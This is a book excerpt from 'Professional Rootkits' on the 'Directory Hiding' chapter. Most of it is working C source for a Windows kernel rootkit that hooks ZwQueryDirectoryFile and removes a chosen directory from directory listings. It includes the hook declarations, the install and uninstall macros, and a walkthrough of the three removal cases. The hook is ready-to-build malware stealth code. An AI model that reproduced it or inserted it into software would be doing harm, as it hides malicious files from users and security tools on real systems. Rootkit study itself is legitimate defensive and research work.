Directory Hiding


After registry key hiding, directory hiding might seem a bit anti-climactic. There is only one hook, and all the functionality can be added with only a few lines.

Here are the additions to hookManager.h:

  typedef NTSTATUS (*ZWQUERYDIRECTORYFILE)(  IN HANDLE hFile,  IN HANDLE hEvent OPTIONAL,  IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,  IN PVOID IoApcContext OPTIONAL,  OUT PIO_STATUS_BLOCK pIoStatusBlock,  OUT PVOID FileInformationBuffer,  IN ULONG FileInformationBufferLength,  IN FILE_INFORMATION_CLASS FileInfoClass,  IN BOOLEAN bReturnOnlyOneEntry,  IN PUNICODE_STRING PathMask OPTIONAL,  IN BOOLEAN bRestartQuery ); extern ZWQUERYDIRECTORYFILE OldZwQueryDirectoryFile; NTSTATUS NewZwQueryDirectoryFile(  IN HANDLE hFile,  IN HANDLE hEvent OPTIONAL,  IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,  IN PVOID IoApcContext OPTIONAL,  OUT PIO_STATUS_BLOCK pIoStatusBlock,  OUT PVOID FileInformationBuffer,  IN ULONG FileInformationBufferLength,  IN FILE_INFORMATION_CLASS FileInfoClass,  IN BOOLEAN bReturnOnlyOneEntry,  IN PUNICODE_STRING PathMask OPTIONAL,  IN BOOLEAN bRestartQuery ); NTSYSAPI NTSTATUS NTAPI ZwQueryDirectoryFile(  IN HANDLE hFile,  IN HANDLE hEvent OPTIONAL,  IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,  IN PVOID IoApcContext OPTIONAL,  OUT PIO_STATUS_BLOCK pIoStatusBlock,  OUT PVOID FileInformationBuffer,  IN ULONG FileInformationBufferLength,  IN FILE_INFORMATION_CLASS FileInfoClass,  IN BOOLEAN bReturnOnlyOneEntry,  IN PUNICODE_STRING PathMask OPTIONAL,  IN BOOLEAN bRestartQuery ); 

Here is the addition to the top of Ghost.c:

  ZWQUERYDIRECTORYFILE OldZwQueryDirectoryFile; Here is the addition to OnUnload of Ghost.cUNHOOK( ZwQueryDirectoryFile, OldZwQueryDirectoryFile ); Here is the addition to HookKernel in hookManager.c:HOOK( ZwQueryDirectoryFile, NewZwQueryDirectoryFile,   OldZwQueryDirectoryFile ); 

And here is the implementation of the hook in hookManager.c:

  NTSTATUS NewZwQueryDirectoryFile(  IN HANDLE hFile,  IN HANDLE hEvent OPTIONAL,  IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,  IN PVOID IoApcContext OPTIONAL,  OUT PIO_STATUS_BLOCK pIoStatusBlock,  OUT PVOID FileInformationBuffer,  IN ULONG FileInformationBufferLength,  IN FILE_INFORMATION_CLASS FileInfoClass,  IN BOOLEAN bReturnOnlyOneEntry,  IN PUNICODE_STRING PathMask OPTIONAL,  IN BOOLEAN bRestartQuery ) {  NTSTATUS status;  status = OldZwQueryDirectoryFile(    hFile,    hEvent,    IoApcRoutine,    IoApcContext,    pIoStatusBlock,    FileInformationBuffer,    FileInformationBufferLength,    FileInfoClass,    bReturnOnlyOneEntry,    PathMask,    bRestartQuery);  if( NT_SUCCESS( status ) && (FileInfoClass == 3) )  {   BOOL isLastDirectory;   DirEntry* pLastDirectory = NULL;   DirEntry* pThisDirectory = (DirEntry*)FileInformationBuffer;   // for each directory entry in the list   do   {    isLastDirectory = !( pThisDirectory->dwLenToNext );    // compare with g_hiddenDirectoryName    if( RtlCompareMemory( (PVOID)&pThisDirectory->suName[ 0 ],     (PVOID)&g_hiddenDirectoryName[ 0 ],     HIDDEN_DIR_NAME_LENGTH ) == HIDDEN_DIR_NAME_LENGTH )    {     if( isLastDirectory )     {      // return STATUS_NO_MORE_FILES if the hidden      // directory is the only directory in the list      // else set the previous directory to end-of-list      // if hidden directory is at the end of the list      if( pThisDirectory == (DirEntry*)FileInformationBuffer )       status = 0x80000006;      else       pLastDirectory->dwLenToNext = 0;      break;     }     else     {      // copy remainder of directory list into this location      // to eliminate this directory entry from the list      int offset = ((ULONG)pThisDirectory) - (ULONG)FileInformationBuffer;      int size = (DWORD)FileInformationBufferLength –       offset - pThisDirectory->dwLenToNext;      RtlCopyMemory( (PVOID)pThisDirectory,       (PVOID)((char*)pThisDirectory + pThisDirectory->dwLenToNext ),       (DWORD)size );      continue;     }    }    pLastDirectory = pThisDirectory;    pThisDirectory = (DirEntry*)((char *)pThisDirectory +     pThisDirectory->dwLenToNext );   } while( !isLastDirectory );  }  return( status ); } 

This function simply checks for the defined directory name and, if detected, removes the directory from the directory list. There are actually three ways to remove a directory: If the directory is the only entry in the list, the function returns STATUS_NO_MORE_FILES. If the directory is the last entry in the list, the function modifies the next-to-last function to mark it as the end of the list. Finally, if the directory is anywhere else, the remainder of the directory list is copied up, to overwrite the hidden directory entry.

The only item in NewZwQueryDirectoryFile left to discuss is the use of “&&(FileInfoClass == 3)” in the conditional logic bounding the new functionality. As it turns out, the operating system uses ZwQueryDirectoryFile for more than just file system directory objects, but the hook was specifically written to handle only FileInfoClass = 3.




Professional Rootkits
Professional Rootkits (Programmer to Programmer)
ISBN: 0470101547
EAN: 2147483647
Year: 2007
Pages: 229
Authors: Ric Vieler

Similar book on Amazon
Rootkits: Subverting the Windows Kernel
Rootkits: Subverting the Windows Kernel
A Guide to Kernel Exploitation: Attacking the Core
A Guide to Kernel Exploitation: Attacking the Core
Reversing: Secrets of Reverse Engineering
Reversing: Secrets of Reverse Engineering
Malware Analyst's Cookbook and DVD: Tools and Techniques for Fighting Malicious Code
Malware Analyst's Cookbook and DVD: Tools and Techniques for Fighting Malicious Code

flylib.com © 2008-2017.
If you may any questions please contact us: flylib@qtcs.net